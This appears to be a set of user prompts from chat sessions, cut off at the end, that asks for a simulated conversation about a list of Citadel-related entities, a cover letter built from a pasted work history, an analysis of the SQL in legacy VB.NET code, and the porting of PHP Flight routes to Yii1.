newsletters.\nSo, if you're a serious entrepreneur and already getting lots of traffic and kind of successful, then it's a no brainier to get this newsletter.\nThink about what everything else costs you per month.\nThis newsletter can be writer n off as a business expense. I like to treat it almost as if it were an asset to my business.\nAnyway, you can find the sign up here (I get a little commissions, so it keeps my head in the game if you decide to sign up through me.)\nThe paper and ink NO BS NEWSLETTER hand delivered by the post office from Dan Kennedy and Russel Brunson can be found here: \nhttps://gkic.isrefer.com/go/mifge22/Justinmcdonald/" -'Simulate a conversation between Alice and /u/CruxHub. They talk about which company from this data batch is worth researching further into on the web.\n\nData batch: Entity Name Purpose / Source Hypothesized Acronym\n50|CALC V LP|Investment manager for CSHC CHINA LLC and CITADEL (SHANGHAI) TRADING COMPANY LTD; https://files.brokercheck.finra.org/firm/firm\\_131114.pdf| \n51|CAMBRIDGE FINANCIAL GROUP, LTD|See CITADEL INVESTMENT GROUP LLC| \n52|CCFD OFFSHORE HOLDINGS LTD|NFA Pool ID P064386, ceased trading 5/3/2013| \n53|CCLC HOLDINGS LLC|Owns CITADEL CLEARING LLC, "Citadel Clearing Holdco"; https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n54|CCMFL LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n55|CCOF OFFSHORE HOLDINGS LTD|NFA Pool ID P064392, ceased trading 5/3/2013| \n56|CDC PARTNERS, LP f/k/a GLB PARTNERS, LP|see Cook County, IL doc 0608910081| \n57|CDG HOLDINGS LTD|NFA Pool ID P037047, ceased trading 12/30/2009| \n58|CE TM HOLDINGS LLC f/k/a KCG IP HOLDINGS LLC|Holding company for intellectual property (25 trademarks, 1 patent found so far)|CE TM = Citadel Enterprise Trademark Holdings \n59|CEF OFFSHORE HOLDINGS LTD|NFA Pool ID P131121| \n60|CEIF INTERNATIONAL LTD|NFA Pool ID P048476; http://registers.centralbank.ie/ICAVDocuments/C439830/Director%20Details%20Updated%2021.01.07%203.pdf| \n61|CEIF LLC|NFA Pool ID P048474| \n62|CEIF PARTNERS INTERNATIONAL LTD|NFA Pool ID P173278| \n63|CEIF PARTNERS LLC|NFA Pool ID P048475| \n64|CES SECURITIES CANADA ULC|See CITADEL SECURITIES CANADA ULC, CSA NRD # 49280| \n65|CFPS HOLDINGS S.à r.l.|Luxembourg - B176936; 100% owned by CITADEL ENERGY INVESTMENTS LTD| \n66|CGE ALPHA LTD|NFA Pool ID P057309, ceased trading 6/7/2017| \n67|CGE ALPHA OFFSHORE HOLDINGS LTD|https://www.sec.gov/Archives/edgar/vprr/1600/16003280.pdf; NFA Pool ID P064400, ceased trading 4/30/2017| \n68|CGEF OFFSHORE HOLDINGS LTD|https://www.sec.gov/Archives/edgar/vprr/1600/16003280.pdf; NFA Pool ID P064406, ceased trading 2/21/2019| \n69|CGEF SPC|NFA Pool ID P064408, ceased trading 12/31/2012| \n70|CGMF OFFSHORE HOLDINGS LTD|NFA Pool ID P064410, ceased trading 3/31/2014| \n71|CGTS HOLDINGS S.à r.l.|Luxembourg - B157777; 100% owned by TACTICAL TRADING HOLDING LTD; NFA Pool ID P064412, ceased trading 9/30/2014| \n72|CHARAXES MELVIN LLC|Sole member of CHARAXES MELVIN II LLC|Charaxes are a type of butterfly: https://en.wikipedia.org/wiki/Charaxes \n73|CHARAXES MELVIN II LLC|Delaware LLC, Florida address is Citadel Miami HQ, sole member is CHARAXES MELVIN LLC|Charaxes are a type of butterfly: https://en.wikipedia.org/wiki/Charaxes \n74|CHI2LTV LLC|Delaware LLC, Florida address is Citadel Miami HQ, Gerald Beeson is Authorized Person| \n75|CIG(E) LLP|See CITADEL EUROPE LLP| \n76|CIG CANADA ULC|https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n77|CIG MEDIA LLC|https://www.sec.gov/Archives/edgar/data/923877/000114420407003635/v063478\\_sc-13d.htm| \n78|CITADEL AAM LP|https://www.sec.gov/Archives/edgar/vprr/0804/08040017.pdf| \n79|CITADEL AC INVESTMENTS LTD|https://www.sec.gov/Archives/edgar/data/1015780/000114420408032074/v115701\\_sc13da.htm| \n80|CITADEL ADVISORS EUROPE LIMITED f/k/a CITADEL MANAGEMENT (EUROPE) LIMITED f/k/a CITADEL HEDGE FUND SERVICES (EUROPE) LIMITED|https://find-and-update.company-information.service.gov.uk/company/10930267| \n81|CITADEL ADVISORS HOLDINGS LP|Sole member of CITADEL ADVISORS LLC; https://www.sec.gov/Archives/edgar/data/1567180/000110465922099806/xslF345X03/tm2225817-2\\_4.xml| \n82|CITADEL ADVISORS HOLDINGS II LP|https://www.sec.gov/Archives/edgar/data/1177609/000114420416082613/v429844\\_sc13ga.htm| \n83|CITADEL ADVISORS HOLDINGS III LP|https://www.sec.gov/Archives/edgar/data/1640129/000114420415043739/xslF345X02/v416000\\_3.xml| \n84|CITADEL ADVISORS LLC|NFA ID: 0391913; https://www.sec.gov/edgar/browse/?CIK=1423053| \n85|CITADEL ADVISORS II LLC|| \n86|CITADEL ADVISORS SINGAPORE PTE. LIMITED|| \n87|CITADEL ALTERNATIVE ASSET MANAGEMENT LP|https://www.sec.gov/Archives/edgar/data/1027745/000114420408050200/v124853\\_sc13g.htm| \n88|CITADEL AMERICAS LLC|| \n89|CITADEL AMERICAS SERVICES LLC|| \n90|CITADEL ANTAEUS INTERNATIONAL INVESTMENTS LTD|| \n91|CITADEL ASIA ASSET HOLDING LIMITED|http://registers.centralbank.ie/ICAVDocuments/C157189/Director%20Details%20Updated%2016.10.31%202.pdf| \n92|CITADEL ASIA LIMITED f/k/a CITADEL (HONG KONG) LIMITED|https://adviserinfo.sec.gov/firm/summary/148826| \n93|CITADEL CANDLESTICK EIF LLC|| \n94|CITADEL CANTERBURY S.à r.l.|Luxembourg - B87988; 100% owned by CITADEL TONBRIDGE S.à r.l.| \n95|CITADEL CEFL CHINA LTD|NFA Pool ID P148073| \n96|CITADEL CEFL INVESTMENTS LTD|NFA Pool ID: P161763; https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n97|CITADEL CEIT CHINA LTD|| \n98|CITADEL CEMF CHINA LTD|https://find-and-update.company-information.service.gov.uk/company/02263951/charges/x6zPQSYGNpuDNgxU1cFQlCS0iog| \n99|CITADEL CEMF INVESTMENTS LTD|https://files.brokercheck.finra.org/firm/firm\\_172693.pdf| \n100|CITADEL CEMF SPV LTD f/k/a CITADEL INVESTMENT MASTER FUND LTD|See CITADEL INVESTMENT MASTER FUND LTD; https://opencorpdata.com/lei/LF0U6QUBXKIO573GXS38|' -"Draft a cover letter on behalf of Liam Ratana for the position of Marketing manager based on his experience, highlighting his roles at Red Bull and VICE.\n\nLiam Ratana Experience\nManaging Director\nManaging Director\nNative Media Limited · Self-employed\nNative Media Limited · Self-employed\nAug 2018 - Present · 4 yrs 7 mos\nAug 2018 - Present · 4 yrs 7 mos\nWhangarei, Northland, New Zealand\nWhangarei, Northland, New Zealand\nNative Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.\nNative Media Limited is a full-service marketing agency specialising in business and marketing consultancy. Examples of our clients include the Ministry of Education, Department of Corrections, and other various governmental and non-governmental organisations.\n\nBoard Member - Northland Conservation Board\nBoard Member - Northland Conservation Board\nDepartment of Conservation (DOC)\nDepartment of Conservation (DOC)\nJul 2022 - Present · 8 mos\nJul 2022 - Present · 8 mos\nNorthland, New Zealand\nNorthland, New Zealand\nI was appointed as a board member of the Northland Conservation Board by the Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.\nI was appointed as a board member of the Northland Conservation Board by the Minister for Conservation Hon Poto Williams in July 2022. Te Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board is the community’s voice in conservation management in the region. The board gives advice to DOC on local conservation matters and carries out important planning roles. A major responsibility of the board is in the development and implementation of the Northland Conservation Management Strategy.\n\nTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board\nTe Rūnanga Papa Atawhai O Te Tai Tokerau/Northland Conservation Board\n\nSenior Business Consultant\nSenior Business Consultant\nWharePR · Freelance\nWharePR · Freelance\nJun 2021 - Present · 1 yr 9 mos\nJun 2021 - Present · 1 yr 9 mos\nI currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.\nI currently manage accounts for a boutique PR and Communications agency focussed on assisting Māori businesses and organisations. My duties include drafting internal and external communications plans, media relations, and more.\n\nGuest Writer\nGuest Writer\nThe Spinoff · Freelance\nThe Spinoff · Freelance\nMar 2021 - Present · 2 yrs\nMar 2021 - Present · 2 yrs\nI regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.\nI regularly contribute articles to both The Spinoff and its commercial arm Daylight Creative.\n\nFreelance Writer / Commentator\nFreelance Writer / Commentator\nNew Zealand Herald · Freelance\nNew Zealand Herald · Freelance\nJul 2021 - Present · 1 yr 8 mos\nJul 2021 - Present · 1 yr 8 mos\nColumnist and commentator focussed on Māori issues.\nColumnist and commentator focussed on Māori issues.\n\nKaiawhina Pārongo / Communications Advisor\nKaiawhina Pārongo / Communications Advisor\nNorthland Regional Council · Contract\nNorthland Regional Council · Contract\nNov 2021 - Nov 2022 · 1 yr 1 mo\nNov 2021 - Nov 2022 · 1 yr 1 mo\nWhangarei, Northland, New Zealand\nWhangarei, Northland, New Zealand\nI work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.\nI work on the Community Engagement team at Northland Regional Council. My role includes acting as Account Lead for Māori Engagement.\nMultimedia Journalist\nMultimedia Journalist\nNZME · Full-time\nNZME · Full-time\nMar 2021 - Jun 2021 · 4 mos\nMar 2021 - Jun 2021 · 4 mos\nWhangarei, Northland, New Zealand\nWhangarei, Northland, New Zealand\nA multimedia journalist for the Northern Advoacate covering Māori, health, and general news.\nA multimedia journalist for the Northern Advoacate covering Māori, health, and general news.\n\nMultimedia Journalist\nMultimedia Journalist\nTVNZ · Full-time\nTVNZ · Full-time\nOct 2020 - Mar 2021 · 6 mos\nOct 2020 - Mar 2021 · 6 mos\nAuckland, New Zealand\nAuckland, New Zealand\nMāori and Pasifika specialist for Re: News.\nMāori and Pasifika specialist for Re: News.\n\nCommunications Specialist\nCommunications Specialist\nRed Bull\nRed Bull\nOct 2019 - Oct 2020 · 1 yr 1 mo\nOct 2019 - Oct 2020 · 1 yr 1 mo\nAuckland, New Zealand\nAuckland, New Zealand\nAmplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.\nAmplification of Red Bull Media House stories, day-to-day management of RedBull.com, corporate/internal communications, ideation, backend management.\nJournalist\nJournalist\nCook Islands News\nCook Islands News\nFeb 2018 - Sep 2019 · 1 yr 8 mos\nFeb 2018 - Sep 2019 · 1 yr 8 mos\nRarotonga, Cook Islands\nRarotonga, Cook Islands\nWorked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.\nWorked full time in the news room as a reporter. Covered various topics including crime, politics, sports, etc. Was then employed on a freelance basis.\n\nContent Writer\nContent Writer\nVICE Asia Pacific\nVICE Asia Pacific\nDec 2016 - Mar 2019 · 2 yrs 4 mos\nDec 2016 - Mar 2019 · 2 yrs 4 mos\nAuckland, New Zealand\nAuckland, New Zealand\nI was a freelance journalist for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions, etc.\nI was a freelance journalist for VICE, regularly contributing articles, photography, and content ideas. I also hosted panel discussions, etc.\n\nEditorial Assistant/Junior Writer\nEditorial Assistant/Junior Writer\nBauer Media Group\nBauer Media Group\nAug 2017 - Nov 2017 · 4 mos\nAug 2017 - Nov 2017 · 4 mos\nAuckland, New Zealand\nAuckland, New Zealand\nI was an Editorial Assistant and Junior Writer at New Zealand's largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.\nI was an Editorial Assistant and Junior Writer at New Zealand's largest publishing company. I carried out various administrative tasks, such as commissioning, invoicing, and managing stock for Metro and Paperboy magazines. My writing also featured in both of these publications.\nMedia Operator\nMedia Operator\nMāori Television\nMāori Television\nOct 2016 - Dec 2016 · 3 mos\nOct 2016 - Dec 2016 · 3 mos\nAuckland, New Zealand\nAuckland, New Zealand\nI was a member of Māori Television's core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.\nI was a member of Māori Television's core cinetape team. We were in charge of various tasks, including quality control, ingesting raw footage, and other linear and non-linear interactions.\nStatistician\nStatistician\nKahawai Productions\nKahawai Productions\n2012 - 2016 · 4 yrs\n2012 - 2016 · 4 yrs\nAuckland, New Zealand\nAuckland, New Zealand\nI was a live sports statistician for a production company in Auckland, New Zealand.\nI was a live sports statistician for a production company in Auckland, New Zealand.\n\nStatistician\nStatistician\nSky New Zealand\nSky New Zealand\nMay 2012 - Sep 2014 · 2 yrs 5 mos\nMay 2012 - Sep 2014 · 2 yrs 5 mos\nAuckland, New Zealand\nAuckland, New Zealand\nWorked for the largest television network in New Zealand as a live sports statistician." -'請幫我把下面這段vb程式碼，分析出查找資料表、欄位及撈取條件：\n Private Sub Page\\_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\n \'在這裡放置使用者程式碼以初始化網頁\n usr = clsUser.GetUser(Me.Session)\n \'Response.Expires = 0\n \'Response.CacheControl = "no-cache"\n \'Response.AddHeader("Pragma", "no-cache")\n clsUser.ChkRight(Me)\n Dim strSQL As String\n \'strSQL = "Select CC.Seq\\_No,CC.Hosp\\_ID,CC.CID,CC.PID,CC.Accept\\_Date,CC.Name,CC.Sex,CC.Birthday,CC.TEL,CC.CMemo,CC.CMemo\\_Name,T.Chk\\_Date,T.Ret\\_Date,Cast((getDate() - T.Ret\\_Date) as int) ODays,T.Creatinine,T.CC\\_GFR,T.MDRD\\_GFR as GFR,T.Stage,CC.Finished from CKDCase CC,(Select T1.\\* from Treat\\_History T1 Where Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' and Chk\\_Date = (Select Max(T2.Chk\\_Date) From Treat\\_History T2 Where T1.CID = T2.CID And T1.Hosp\\_ID = T2.Hosp\\_ID)) T Where CC.Hosp\\_ID \\*= T.Hosp\\_ID And CC.CID \\*= T.CID And CC.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' Order By T.Ret\\_Date "\n \'strSQL = "Select CC.Seq\\_No,CC.Hosp\\_ID,CC.CID,CC.PID,CC.Accept\\_Date,CC.Name,CC.Sex,CC.Birthday,CC.TEL " & \\_\n \' ",isnull(rtrim(city.CityName),\'\') City ,isnull(rtrim(ctry.CountryName),\'\') Country ,isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Caddr ,isnull(rtrim(ctry.Zip),\'\') Zip " & \\_\n \' ",isnull(rtrim(city.CityName),\'\')+isnull(rtrim(ctry.CountryName),\'\')+isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Faddr " & \\_\n \' ",CC.CMemo,CC.CMemo\\_Name,T.Chk\\_Date,T.Ret\\_Date,Cast((getDate() - T.Ret\\_Date) as int) ODays,T.Creatinine,T.CC\\_GFR,T.MDRD\\_GFR as GFR,T.Stage,isnull(CC.Finished,\'N\') Finished,C.Hct,C.Uric\\_Acid,C.IPTH,C.Ca,C.P,C.Ca \\* C.P CaP,C.Cholesterol,C.Triglyceride,C.K " & \\_\n \' ",T.doctor ,T.Nurse " & \\_\n \' ", i\\_doc.NAME d\\_name, i\\_nrs.Name n\\_name " & \\_\n \' "From Ini\\_CKDCase CC " & \\_\n \' "left outer join (Select T1.\\* from Ini\\_Treat\\_History T1 Where Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' and Chk\\_Date = (Select Max(T2.Chk\\_Date) From Ini\\_Treat\\_History T2 Where T1.CID = T2.CID And T1.Hosp\\_ID = T2.Hosp\\_ID And isnull(T2.Givetype,\'\')=\'\')) T On CC.Hosp\\_ID = T.Hosp\\_ID And CC.CID = T.CID " & \\_\n \' "left outer join (Select \\* from Ini\\_Chk\\_History C1 Where C1.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' And C1.Chk\\_Date = (Select Max(Chk\\_Date) from Ini\\_Chk\\_History C2 Where C1.Hosp\\_ID = C2.Hosp\\_ID And C1.CID = C2.CID ) ) C On CC.Hosp\\_ID = C.Hosp\\_ID And CC.CID = C.CID " & \\_\n \' "left outer join Ini\\_Doctor i\\_doc on T.doctor = i\\_doc.ID and i\\_doc.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n \' "left outer join Ini\\_Nurse i\\_nrs on T.Nurse = i\\_nrs.ID and i\\_nrs.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n \' "left outer join CommCity\\_N city on city.CityID = CC.CityID " & \\_\n \' "left outer join CommCountry\\_N ctry on ctry.CityID = CC.CityID and ctry.CountryID = CC.CountryID " & \\_\n \' "left outer join CommVillage\\_N vill on vill.CityID = CC.CityID and vill.CountryID = CC.CountryID and vill.VillageID = CC.VillageID " & \\_\n \' "Where CC.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n \' "Order By T.Ret\\_Date "\n strSQL = "Select CC.Seq\\_No,CC.Hosp\\_ID,CC.CID,CC.PID,CC.Accept\\_Date,CC.Name,CC.Sex,CC.Birthday,CC.TEL " & \\_\n ",isnull(rtrim(city.CityName),\'\') City ,isnull(rtrim(ctry.CountryName),\'\') Country ,isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Caddr ,isnull(rtrim(ctry.Zip),\'\') Zip " & \\_\n ",isnull(rtrim(city.CityName),\'\')+isnull(rtrim(ctry.CountryName),\'\')+isnull(rtrim(vill.VillageName),\'\') + CC.Caddr Faddr " & \\_\n ",CC.CMemo,CC.CMemo\\_Name,T.Chk\\_Date,T.Ret\\_Date,Cast((getDate() - T.Ret\\_Date) as int) ODays,T.Creatinine,T.CC\\_GFR,T.MDRD\\_GFR as GFR,T.Stage,isnull(CC.Finished,\'N\') Finished,C.Hct,C.Uric\\_Acid,C.IPTH,C.Ca,C.P,C.Ca \\* C.P CaP,C.Cholesterol,C.Triglyceride,C.K " & \\_\n ",T.doctor ,T.Nurse " & \\_\n ", i\\_doc.NAME d\\_name, i\\_nrs.Name n\\_name " & \\_\n "From Ini\\_CKDCase CC " & \\_\n "left outer join (Select T1.\\* from Ini\\_Treat\\_History T1 Where Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' and Chk\\_Date = (Select Max(T2.Chk\\_Date) From Ini\\_Treat\\_History T2 Where T1.CID = T2.CID And T1.Hosp\\_ID = T2.Hosp\\_ID)) T On CC.Hosp\\_ID = T.Hosp\\_ID And CC.CID = T.CID " & \\_\n "left outer join (Select \\* from Ini\\_Chk\\_History C1 Where C1.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' And C1.Chk\\_Date = (Select Max(Chk\\_Date) from Ini\\_Chk\\_History C2 Where C1.Hosp\\_ID = C2.Hosp\\_ID And C1.CID = C2.CID ) ) C On CC.Hosp\\_ID = C.Hosp\\_ID And CC.CID = C.CID " & \\_\n "left outer join Ini\\_Doctor i\\_doc on T.doctor = i\\_doc.ID and i\\_doc.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n "left outer join Ini\\_Nurse i\\_nrs on T.Nurse = i\\_nrs.ID and i\\_nrs.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n "left outer join CommCity\\_N city on city.CityID = CC.CityID " & \\_\n "left outer join CommCountry\\_N ctry on ctry.CityID = CC.CityID and ctry.CountryID = CC.CountryID " & \\_\n "left outer join CommVillage\\_N vill on vill.CityID = CC.CityID and vill.CountryID = CC.CountryID and vill.VillageID = CC.VillageID " & \\_\n "Where CC.Hosp\\_ID = \'" & clsUser.GetUser(Me.Session).Hosp\\_ID & "\' " & \\_\n "Order By T.Ret\\_Date "\n\n st = SingleTable.GetObject(Me, "mystTrack", "ConnStr", strSQL, "")\n If (Not IsPostBack) Then\n Me.SetControl()\n SingleTable.BindWebDDL(Me.sucHosp\\_ID.DDLValue, clsUser.GetUser(Me.Session).Hosp\\_ID)\n Me.sucHosp\\_ID.DDLReadonly = True\n \'Me.BindGrid(-1)\n Me.Search()\n Else\n If (Me.Request.Form("\\_\\_EVENTTARGET") = "GoTreat") Then\n Me.Session("CID") = Me.Request.Form("\\_\\_EVENTARGUMENT")\n Me.Response.Redirect("AdmIniTreat.aspx")\n End If\n End If\n End Sub\n\n \'設定控制項的預設值\n Private Sub SetControl()\n Me.st.SubSQL = "Select Hosp\\_ID,Hosp\\_Name from Hospital Where Hosp\\_ID <> \'0\' Order By Hosp\\_ID "\n Funcs.AddDDLSpace(Me.st.ds.Tables(0), "Hosp\\_ID", "Hosp\\_Name")\n Me.sucHosp\\_ID.DDLValue.DataSource = Me.st.ds.Tables(0).DefaultView\n Me.sucHosp\\_ID.DDLValue.DataTextField = "Hosp\\_Name"\n Me.sucHosp\\_ID.DDLValue.DataValueField = "Hosp\\_ID"\n Me.sucHosp\\_ID.DDLValue.DataBind()\n Me.sucHosp\\_ID.DDLValue.AutoPostBack = True\n\n \'護士下拉\n Dim usr As clsUser = clsUser.GetUser(Me.Session)\n Dim strSQL As String = "Select Cast(ID as nvarchar) ID,Name from Ini\\_Nurse Where enable=1 And Hosp\\_ID = \'" & usr.Hosp\\_ID & "\' "\n Dim ds As DataSet = FuncsDB.GetDS(strSQL)\n Funcs.AddNullRow(ds.Tables(0))\n Me.DDLNurse.DataSource = ds.Tables(0).DefaultView\n Me.DDLNurse.DataTextField = "Name"\n Me.DDLNurse.DataValueField = "ID"\n Me.DDLNurse.DataBind()\n Me.lbNurse.Visible = True\n Me.DDLNurse.Visible = True\n\n End Sub\n\n \'Bind DataGrid\n Private Sub BindGrid(ByVal PageIndex As Integer)\n SingleTable.BindWebGrid(PageIndex, Me.DataGrid1, st)\n Me.lbCaseCnt.Text = "個案數：" & Me.st.dt.Select(Me.st.Filter).Length\n End Sub\n\n Private Sub BindGrid2(ByVal PageIndex As Integer)\n SingleTable.BindWebGrid(PageIndex, Me.DataGrid2, st)\n End Sub\n\n \'排序\n Private Sub DataGrid1\\_SortCommand(ByVal source As Object, ByVal e As System.Web.UI.WebControls.DataGridSortCommandEventArgs) Handles DataGrid1.SortCommand\n Me.st.SortExp = e.SortExpression\n Me.BindGrid(-1)\n End Sub\n\n \'換頁\n Private Sub DataGrid1\\_PageIndexChanged(ByVal source As Object, ByVal e As System.Web.UI.WebControls.DataGridPageChangedEventArgs) Handles DataGrid1.PageIndexChanged\n Me.BindGrid(e.NewPageIndex)\n End Sub\n\n \'查詢\n Private Sub Search()\n Dim tmp As String = ""\n If (Me.RBLTerm.SelectedValue <> "") Then\n Select Case Me.RBLTerm.SelectedValue\n Case "M"\n Dim sdate, edate As String\n sdate = Now.Year & "/" & Now.Month & "/1"\n edate = DateValue(sdate).AddMonths(1)\n tmp = " Ret\\_Date >= \'" & sdate & "\' And Ret\\_Date < \'" & edate & "\' "\n Case Else\n Dim sdate As String\n If Me.RBLTerm.SelectedValue = 3 Then\n sdate = DateValue(Now).AddDays(77 \\* -1) \'77天\n ElseIf Me.RBLTerm.SelectedValue = 6 Then\n sdate = DateValue(Now).AddDays(161 \\* -1) \'161天\n Else\n sdate = DateValue(Now).AddMonths(Me.RBLTerm.SelectedValue \\* -1)\n End If\n\n If (tmp <> "") Then\n tmp &= " and "\n End If\n tmp &= " Ret\\_Date < \'" & DateValue(sdate) & "\' "\n End Select\n End If\n\n \'一開始的查詢就需要過濾stage了\n If (tmp <> "") Then\n tmp &= " and "\n End If\n\n tmp &= "1=1 And (1=0 "\n For Each item As ListItem In Me.CBLStage.Items\n If (item.Selected) Then\n tmp += " or " & item.Value\n End If\n Next\n tmp &= " or Stage is null) "\n\n Funcs.AddSQL(tmp, "Finished", Me.RBLFinish.SelectedValue, 1)\n Me.st.Filter = tmp\n Me.BindGrid(-1)\n End Sub\n\n Private Sub RBLTerm\\_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RBLTerm.SelectedIndexChanged\n Me.Search()\n End Sub\n\n Private Sub DataGrid1\\_ItemDataBound(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.DataGridItemEventArgs) Handles DataGrid1.ItemDataBound\n If (e.Item.ItemIndex > -1) Then\n e.Item.Attributes.Add("onmouseover", "this.style.color=\'red\'")\n e.Item.Attributes.Add("onmouseout", "this.style.color=\'black\'")\n e.Item.Attributes.Add("ondblclick", "\\_\\_doPostBack(\'GoTreat\',\'" & e.Item.Cells(1).Text & "\')")\n e.Item.Cells(4).Text = Funcs.CellDate(e.Item.Cells(4).Text)\n e.Item.Cells(5).Text = Funcs.CellDate(e.Item.Cells(5).Text)\n e.Item.Cells(9).Text = Funcs.CellDate(e.Item.Cells(9).Text)\n e.Item.Cells(19).Text = Funcs.GetCodeTxt(Me.Application, "CMemo", e.Item.Cells(17).Text) & " " & e.Item.Cells(18).Text\n If (Funcs.CellDate(e.Item.Cells(9).Text) = Funcs.CellDate(Now)) Then\n e.Item.ForeColor = System.Drawing.Color.Red\n e.Item.Font.Bold = True\n End If\n End If\n Funcs.AddSortDir(sender, e, Me)\n End Sub\n\n \'追蹤時間查詢\n Private Sub btnSearch\\_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSearch.Click\n Me.RBLTerm.SelectedIndex = 0\n Dim SQL As String = " 1=1 "\n Funcs.AddSQL(SQL, "Ret\\_Date", Me.suc\\_Date1.Text, 2)\n Funcs.AddSQL(SQL, "Ret\\_Date", Me.suc\\_Date2.Text, 3)\n If (Me.sucCMemo.DValue <> "010") Then\n Funcs.AddSQL(SQL, "CMemo", Me.sucCMemo.DValue, 1)\n End If\n SQL &= " And (1=0 "\n For Each item As ListItem In Me.CBLStage.Items\n If (item.Selected) Then\n SQL += " or " & item.Value\n End If\n Next\n SQL &= " or Stage is null) "\n Funcs.AddSQL(SQL, "Finished", Me.RBLFinish.SelectedValue, 1)\n Funcs.AddSQL(SQL, "Nurse", Me.DDLNurse.SelectedValue, 1)\n Me.st.Filter = SQL\n Me.BindGrid(-1)\n End Sub\n\n Private Sub btnCancel\\_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnCancel.Click\n Me.Panel1.Visible = False\n End Sub\n\n Private Sub DataGrid1\\_ItemCommand(ByVal source As Object, ByVal e As System.Web.UI.WebControls.DataGridCommandEventArgs) Handles DataGrid1.ItemCommand\n If (e.CommandName = "SetMemo") Then\n Me.ViewState("EditRowID") = e.CommandArgument\n Me.ucCMemo.DValue = e.Item.Cells(17).Text\n Me.ucCMemo\\_Name.Text = e.Item.Cells(18).Text.Replace("\xa0", "")\n Me.Panel1.Visible = True\n End If\n End Sub' -'check the below code and to get sql and remap functions\nthen apply these functions to \nactionAssignedByMe\nactionAssignedToMe \nthen provide the update code in yii1\nFlight::route(\'GET /erp/all-tasks(/@filter\\_status)\', function ($filter\\_status) {\n global $m, $rm, $db;\n\n $cookie = (array)Flight::jwt()::decode($\\_COOKIE[\'webapp\\_enc\'], Flight::get(\'key\'), array(\'HS256\'));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n if (!$user\\_id) {\n \n $admin\\_id = $db->get(\'mt\\_admin\\_user\', \'admin\\_id\', array(\n \'token\' => $cookie[\'token\']\n ));\n\n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => $admin\\_id\n ));\n if(!$user\\_id) {\n \n $user\\_id = $rm->get(\'tbl\\_users\', \'user\\_id\', array(\n \'sync\\_id\' => getKmrsId()\n ));\n }\n }\n $where = array();\n if(!empty($filter\\_status)) {\n $where[\'category\\_id\'] = $filter\\_status;\n }\n $tasks = $rm->select(\'tbl\\_task\', \'\\*\', $where);\n $completed\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "completed",\n ]));\n $in\\_progress\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "in\\_progress",\n ]));\n $deferred\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "deferred",\n ]));\n $not\\_started\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "not\\_started",\n ]));\n $waiting\\_for\\_someone\\_count = $rm->count("tbl\\_task", array\\_merge($where, [\n "task\\_status" => "waiting\\_for\\_someone",\n ]));\n $tasks = array\\_map(function($elem) use ($db, $rm, $user\\_id) {\n $elem[\'category\\_name\'] = $rm->get(\'tbl\\_customer\\_group\', \'customer\\_group\', array(\n \'customer\\_group\\_id\' => $elem[\'category\\_id\']\n ));\n $elem[\'invoice\'] = false; \n if($elem[\'invoice\\_id\'] > 0) {\n // innerjoin with tbl\\_client\n $invoices = $rm->select(\'tbl\\_invoices\', array(\n \'[><]tbl\\_client\' => [\'client\\_id\' => \'client\\_id\']\n ) , array(\n \'tbl\\_invoices.invoices\\_id\',\n \'tbl\\_invoices.due\\_date\',\n \'tbl\\_invoices.reference\\_no\',\n \'tbl\\_invoices.status\',\n \'tbl\\_invoices.invoice\\_date\',\n \'tbl\\_client.sync\\_id\',\n 